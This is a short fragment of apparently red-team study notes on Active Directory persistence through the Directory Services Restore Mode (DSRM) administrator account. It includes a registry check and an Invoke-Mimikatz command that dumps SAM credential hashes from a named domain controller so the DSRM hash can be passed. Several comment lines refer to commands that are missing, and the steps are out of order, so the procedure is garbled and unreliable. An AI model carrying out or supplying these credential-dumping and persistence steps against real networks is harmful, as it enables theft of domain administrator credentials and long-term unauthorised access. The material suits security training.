  1. IV. Domain Persistence and Dominance

Persistence - DSRM

  • DSRM is Directory Services Restore Mode.

  • There is a local administrator on every DC called "Administrator" whose password is the DSRM password.

  • DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changed.

  • After altering the configuration on the DC, it is possible to pass the NTLM hash of this user to access the DC.

  • Needs DA Priv

DSRM

#If KeyReg Exist:

#If DsrmAdminLogonBehavior is not set to 2

#Use below command to pass the hash. Use the hash from the above command
#Needs to be excute from another powershell windows with local admin

Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

we can see that DsrmAdminLogonBehavior is set to 2

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc
